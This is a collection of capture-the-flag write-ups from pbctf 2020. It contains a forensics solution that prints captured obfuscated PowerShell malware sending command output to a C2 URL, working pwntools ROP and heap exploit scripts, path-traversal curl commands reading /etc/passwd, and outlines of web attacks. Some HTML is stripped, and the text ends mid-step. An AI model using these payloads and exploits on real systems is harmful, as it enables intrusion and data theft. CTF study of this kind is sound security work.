https://raw.githubusercontent.com/Super-Guesser/ctf/21ad5acdc39be59af80cc43412912ec662d0e695/2020/pbctf 2020/misc/not_stego/profile.png
--------------------------------------------------------------------------------
/2020/pbctf 2020/misc/vaccine_stealer/README.md:
--------------------------------------------------------------------------------
1 | # Challenge
2 |
3 | * **Points**: 470
4 | * **Solves**: 2
5 | * **Files**: [memory.7z](https://drive.google.com/file/d/10XZD5S2FCdPyugSvoIkWD8s3pH20hQS2/view)
6 |
7 | ```
8 | An employee's PC at a COVID-19 vaccine manufacturer was infected with a malware. According to this employee, a strange window popped up while he was formatting his PC and installing some files. Analyze memory dumps and find traces of the malware.
9 |
10 | (1): Filename of the malicious executable whose execution finished at last
11 | (2): Filename of the executable that ran (1)
12 | (3): URL of C2 server that received victim's data (except http(s)://)
13 | Obtain all flag information and enter it in the form of pbctf{(1)_(2)_(3)}
14 | ```
15 |
16 | # Solution
17 |
18 | Regular [volatility](https://github.com/volatilityfoundation/volatility) and "dumb" `strings`/`grep` runs were futile at the beginning as there were loads of junk inside. After spending 3-4 hours without a proper "lead", decided to do some PCAP carving. Already prepared for some manual approach, as did in some previous similar occasions, but nevertheless gave [CapLoader](https://www.netresec.com/index.ashx?page=CapLoader) a chance. While inside of the results there were no "clear" C&C attempts, found an interesting domain `mft.fw` inside one of `Set-Cookie` headers from CloudFlare HTTP response. By visiting the same domain, found out that same domain is the personal domain of challenge author. As in similar challenges, decided to take a "shoot" and do some more `grep`-ing with that same domain on the provided memory dump. The rest is history.
19 |
20 | So, first "obvious" malicious excerpt contacting the candidate C&C URL `mft.pw/ccc.php` (Note: **Answers the Question (3)**) found was:
21 |
22 | ```ps
23 | s`eT-V`A`Riab`lE Diq ( [typE]('sY'+'S'+'tEM.'+'tExT'+'.'+'EnCOdiNg') ); Set-`VARI`A`B`le ('Car'+'u1') ( [TyPe]('ConveR'+'t') ) ;${i`N`V`OkEcO`MmaND} = ((('cm'+'d'+'.exe')+' /'+'c '+'C'+':'+('HaSP'+'r')+('o'+'gr')+'a'+('m'+'Dat')+'aH'+('aSnt'+'user')+'.p'+('ol'+' TC'+'P ')+('172.30'+'.1.0'+'/24 33'+'8')+('95'+'12 /'+'B'+'a')+('nne'+'r'))."REPL`A`cE"(([chaR]72+[chaR]97+[chaR]83),[STRInG][chaR]92));
24 | ${CMdout`p`Ut} = $(i`NVoK`e-eXPRE`ss`I`on ${I`NvOk`E`cOMMaND});
25 | ${B`yT`es} = ( v`ARiA`BLE dIQ -VALu )::"U`NI`coDe"."g`etBYTES"(${cm`DOu`TPUt});
26 | ${eN`Co`dEd} = ( I`TEM ('VarI'+'a'+'B'+'LE'+':Caru1') ).valuE::"ToB`AS`E`64striNG"(${b`Yt`es});
27 | ${poSTP`A`R`AmS} = @{"D`ATa"=${e`N`cOded}};
28 | i`N`VOkE-WEb`REQuESt -Uri ('mft.pw'+'/ccc'+'c.ph'+'p') -Method ('POS'+'T') -Body ${p`o`sTpaRaMs};
29 | ```
30 |
31 | By doing some more `grep`-ing found that the original (obfuscated) excerpt which produced the upper PowerShell excerpt was:
32 |
33 | ```ps
34 | nEW-ObjEcT sySTEm.iO.sTreaMReAdER( ( nEW-ObjEcT SystEm.iO.CompreSsiOn.DEfLATEstREam([IO.meMoryStream] [CoNVeRT]::fROMbASe64StRinG('NVJdb5tAEHyv1P9wQpYAuZDaTpvEVqRi+5Sgmo/Axa0VRdoLXBMUmyMGu7Es//fuQvoAN7e7Nzua3RqUcJbgQVLIJ1hzNi/eGLMYe2gOFX+0zHpl9s0Uv4YHbnu8CzwI8nIW5UX4bNqM2RPGUtU4sPQSH+mmsFbIY87kFit3A6ohVnGIFbLOdLlXCdFhAlOT3rGAEJYQvfIsgmAjw/mJXTPLssxsg3U59VTvyrT7JjvDS8bwN8NvbPYt81amMeItpi1TI3omaErK0fO5bNr7LQVkWjYkqlZtkVtRUK8xxAQxxqylGVwM3dFX6jtw6TgbnrPRCMFlm75i3xAPhq2aqUnNKFyWqhNiu0bC4wV6kXHDsh6yF5k8Xgz7Hbi6+ACXI/vLQyoSv7x5/EgNbXvy+VPvOAtyvWuggvuGvOhZaNFS/wTlqN9xwqGuwQddst7Rh3AfvQKHLAoCsq4jmMJBgKrpMbm/By8pcDQLzlju3zFn6S12zB6PjXsIfcj0XBmu8Qyqma4ETw2rd8w2MI92IGKU0HGqEGYacp7/Z2U+CB7gqJdy67c2dHYsOA0H598N33b3cr3j2EzoKXgpiv1+XjfbIryhRk+wakhq16TSqYhpKcHbpNTox9GYgyekcY0KcFGyKFf56YTF7drg1ji/+BMk/G7H04Y599sCFW3+NG71l0aXZRntjFu94FGhHidQzYvOsSiOaLsFxaY6P6CbFWioRSUTGdSnyT8=' ) , [IO.coMPressION.cOMPresSiOnmOde]::dEcOMPresS)), [TexT.ENcODInG]::AsCIi)).ReaDToeNd();;
35 | ```
36 |
37 | Deobfuscating the first excerpt, we came to the following command, which clearly indicates the location of the malicious executable at location `C:\ProgramData\ntuser.pol` (Note: **Answers the Question (1)**):
38 |
39 | ```
40 | cmd.exe /c C:\ProgramData\ntuser.pol TCP 172.30.1.0/24 3389512 /Banner
41 | ```
42 |
43 | So, now, only thing which is missing from the "puzzle" is the answer to the question: `(2): Filename of the executable that ran (1)`. This one was slightly tricky to find because A) this information is not available through standard `volatility` runs as that same executable was not running during the memory snapshot; and B) there is no standard `volatility` plugin to get the list of executables being run at OS startup.
44 |
45 | Nevertheless, while later found that I could (easier) do the 3rd party plugin [volatility-autoruns](https://github.com/tomchop/volatility-autoruns), based the "last yard" on manually finding suspicious executable names got by inspecting `strings` and `strings -el` run results. The most promising was the following *Task Scheduler XML* entry, found by `grep`-ing for folder `C:\ProgramData` used in case of `ntuser.pol`, running the executable `C:\ProgramData\WindowsPolicyUpdate.cmd` (Note: **Answers the Question (2)**):
46 |
47 | ```xml
48 |
49 | ...
50 |
51 | ...
52 |
53 | PT1M
54 | 3
55 |
56 |
57 |
58 |
59 | C:\ProgramData\WindowsPolicyUpdate.cmd
60 |
61 |
62 |
63 | ```
64 |
65 | Tried it as part of the flag, and it worked :)
66 |
67 | # FLAG
68 |
69 | `pbctf{ntuser.pol_WindowsPolicyUpdate.cmd_mft.pw/cccc.php}`
70 |
--------------------------------------------------------------------------------
/2020/pbctf 2020/pwn/Amazing-ROP/README.md:
--------------------------------------------------------------------------------
1 | Pwn_Amazing ROP
2 | ====
3 |
4 | ```
5 | Should be a baby ROP challenge. Just need to follow direction and get first flag.
6 |
7 | nc maze.chal.perfect.blue 1
8 |
9 | By: theKidOfArcrania
10 | ```
11 |
12 | [bof.c](https://storage.googleapis.com/pbctf-2020-ctfd/8e94e6f057143f9eba46a581a94a69b0/bof.c) [bof.bin](https://storage.googleapis.com/pbctf-2020-ctfd/b315ab20c9c4608a9172d80bd3dcf4e1/bof.bin)
13 |
14 | `nc maze.chal.perfect.blue 1`
15 |
16 | ---
17 |
18 | `vuln` funciton is vulnerable by BOF. Therefore we can exploit with ROP attack. I get the flag by using the way of obtaining the flag shown in the source code.
19 |
20 | ```python
21 | from pwn import *
22 |
23 | e = ELF('./bof.bin')
24 | # p = e.process(aslr=False)
25 | p = remote('maze.chal.perfect.blue', 1)
26 |
27 | context.log_level = 0
28 |
29 | pie_off = 0x4f5c
30 | gadget = 0x000013ad
31 | esi_edi_ebp = 0x00001396
32 |
33 | p.sendlineafter(b'n) ','n')
34 |
35 | '''
36 | set buf
37 | '''
38 | pay = p64(0)*4
39 | pay += p32(0xFFFFFFFF)*4
40 |
41 | '''
42 | set secret
43 | '''
44 | pay += p32(0x67616c66)
45 |
46 | '''
47 | get pie
48 | set stack
49 | '''
50 | p.recvuntil(b'ef be ad de ')
51 | x = bytes.fromhex(p.recvuntil('|')[:-1].replace(b' ',b'').decode())
52 | pay += x
53 | pie = int.from_bytes(x,'little') - pie_off
54 | print(hex(pie))
55 | p.recvuntil(b'|')
56 | pay += bytes.fromhex(p.recv(len(' 5c df 61 56 ')).replace(b' ',b'').decode())
57 | ebp = bytes.fromhex(p.recvuntil('|')[:-1].replace(b' ',b'').decode())
58 | pay += ebp
59 | ebp = int.from_bytes(ebp,'little')
60 | p.recvuntil(b'|')
61 | ret = bytes.fromhex(p.recv(len(' 5c df 61 56 ')).replace(b' ',b'').decode())
62 | print(hex(int.from_bytes(ret,'little')))
63 | wtf = bytes.fromhex(p.recvuntil('|')[:-1].replace(b' ',b'').decode())
64 |
65 | '''
66 | set ret
67 | '''
68 | pay += p32(pie + esi_edi_ebp)
69 | pay += p32(0x1337)
70 | pay += p32(0x31337)
71 | pay += p32(ebp)
72 | pay += p32(pie + gadget)
73 | pay += p32(1)
74 |
75 |
76 | p.sendlineafter(b'text: ',pay)
77 | sleep(0.1)
78 | p.recvuntil('address: ')
79 | p.recvline()
80 |
81 | p.interactive()
82 | ```
83 |
84 | `pbctf{hmm_s0mething_l00ks_off_w1th_th1s_s3tup}`
85 |
--------------------------------------------------------------------------------
/2020/pbctf 2020/pwn/jheap/README.md:
--------------------------------------------------------------------------------
1 | Writeup by - [Faith](https://twitter.com/farazsth98)
2 | I spent around 3 hrs solving this. I wish I had more time to spend on this CTF because the challenges looked really good!
3 |
4 | # Challenge
5 |
6 | * **Points**: 420
7 | * **Solves**: 4
8 | * **Files**: [jheap.tar.gz](https://storage.googleapis.com/pbctf-2020-ctfd/ab76a2f1cb135751491b577613e89c2f/jheap.tar.gz), [jheap.conf](https://storage.googleapis.com/pbctf-2020-ctfd/d33db98e497d702ff84f0e29f62da25d/jheap.conf)
9 |
10 | Basically just a Java Heap pwn challenge. You can create and edit chunks, but its done through a JNI function written in C, which means memory corruption is a possibility.
11 |
12 | # Bug
13 |
14 | In `src/heap.c`, when `from_utf` is called, the `outbuf` argument for `iconv` is set to `data + offset*2`. `offset*2` can overflow past `data` easily which provides an OOB write on the java heap.
15 |
16 | # Exploit
17 |
18 | Through trial and error I found that if you put the flag into the very last data chunk, then the data chunk's buffer is a few hex thousand bytes before the flag's contents. My idea then was to use the oob write from the second last data chunk to overwrite the last data chunk's size to a large number, and then view the last data chunk to hopefully get the flag.
19 |
20 | ```python
21 | #!/usr/bin/env python3
22 |
23 | from pwn import *
24 |
25 | elf = ELF("./deploy/bin/java")
26 | #p = process(["./deploy/bin/java", "-Xmx200m", "-XX:+UseG1GC", "-Xms200m", "-m", "jheap/com.thekidofarcrania.heap.JHeap", "-XX:+PrintJNIGCStalls", "-XX:+PrintGCDetails"])
27 | p = remote("jheap.chal.perfect.blue", 1)
28 |
29 | def edit(idx, offset, content):
30 | p.sendlineafter("> ", "0")
31 | p.sendlineafter("Index: ", str(idx))
32 | p.sendlineafter("Offset: ", str(offset))
33 | p.sendlineafter("Content: ", content)
34 |
35 | def leak(idx):
36 | p.sendlineafter("> ", "2")
37 | p.sendlineafter("Index: ", str(idx))
38 |
39 | def view(idx):
40 | p.sendlineafter("> ", "1")
41 | p.sendlineafter("Index: ", str(idx))
42 |
43 | # Chunks are initialized full of null bytes. You can view a chunk and count the
44 | # number of bytes returned to get the size of the chunk
45 | def get_size(idx):
46 | p.sendlineafter("> ", "1")
47 | p.sendlineafter("Index: ", str(idx))
48 |
49 | p.recvuntil(" = ")
50 | data = p.recvuntil("*")[:-1]
51 |
52 | return len(data)-2 # account for newline
53 |
54 | # Control chunk 47's len through this, set it to 0x40000
55 | # I found the +11 offset through trial and error and just checking GDB
56 | # I found that using magic values ("QWERASDFZXCV" is what i used) combined
57 | # with search-pattern in gdb gef worked really well for me to find my chunk
58 | # The offset doesn't work 100% of the time but it works most of the time
59 | edit(46, get_size(46)//2+11, "\u0000\u0004" + "\u1337"*6)
60 |
61 | # Put the flag on the heap way past chunk 47
62 | leak(47)
63 |
64 | #gdb.attach(p)
65 |
66 | # Leak 0x40000 bytes, hopefully the flag will be inside
67 | view(47)
68 |
69 | # Find the flag
70 | flag = p.recvuntil(">>> JHeap")
71 | idx = flag.find(b"pbctf{")
72 |
73 | # Print dat shit
74 | if idx != -1:
75 | print(flag[idx:idx+80])
76 |
77 | p.interactive()
78 | ```
79 |
--------------------------------------------------------------------------------
/2020/pbctf 2020/pwn/pwnception/README.md:
--------------------------------------------------------------------------------
1 | [Full writeup can be found here](https://faraz.faith/2020-12-08-pbctf-pwnception/)
2 |
--------------------------------------------------------------------------------
/2020/pbctf 2020/web/XSP/README.md:
--------------------------------------------------------------------------------
1 | # XSP
2 |
3 | ## HOW TO SOLVE
4 |
5 | 1. Use CSRF to add an iframe to admin's notes
6 | 2. Bruteforce the path of the admin's note with defining a CSP for 256 iframes.
7 | Like for bruteforcing `xx` in following path:
`https://xsp.chal.perfect.blue/data/xx/`, we have to add 256 iframes with following format.
8 | ```html
9 |
11 | ```
12 | 3. Iterate through iframes and find one which it's window's length is more than `0`, the right one has our bruteforced path part in it's id.
13 |
14 | 4. include the bruteforced script with a defined `notes_callback` function to get results.
15 |
16 |
17 |
--------------------------------------------------------------------------------
/2020/pbctf 2020/web/XSP/bruteforce.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
50 |
51 |
52 |
--------------------------------------------------------------------------------
/2020/pbctf 2020/web/apoche1/README.md:
--------------------------------------------------------------------------------
1 | * Visit http://34.68.159.75:37173/robots.txt
2 | * We see there is a /secret directory. Visit that and there are few notes.
3 | * some Fuzzing reveals there is LFI at `http://34.68.159.75:37173/secret/../../../../../../etc/passwd`
4 | * curl --path-as-is "http://34.68.159.75:37173/secret/../../../../../../etc/passwd"
5 | * open using curl/burp as browser will path normalize
6 | * visit `http://34.68.159.75:37173/secret/../../../../../../proc/self/exe` and you will get the flag
7 | * curl --path-as-is "http://34.68.159.75:41521/secret/../../../../../proc/self/exe" 2>&1 | strings | grep pbctf
8 |
9 | pbctf{n0t_re4lly_apache_ap0che!}
10 |
--------------------------------------------------------------------------------
/2020/pbctf 2020/web/ikea-name-generator/README.md:
--------------------------------------------------------------------------------
1 | What's your IKEA name? Mine is SORPOÄNGEN.
2 |
3 | http://ikea-name-generator.chal.perfect.blue/
4 |
5 | By: corb3nik
6 |
7 | ---
8 |
9 | 1.Break JSON Syntax by adding a new line (%0a) to make CONFIG undefined
10 | `http://ikea-name-generator.chal.perfect.blue/?name=renwa%0a`
11 |
12 | 2.Using DOM Clobbering fake CONFIG
13 | `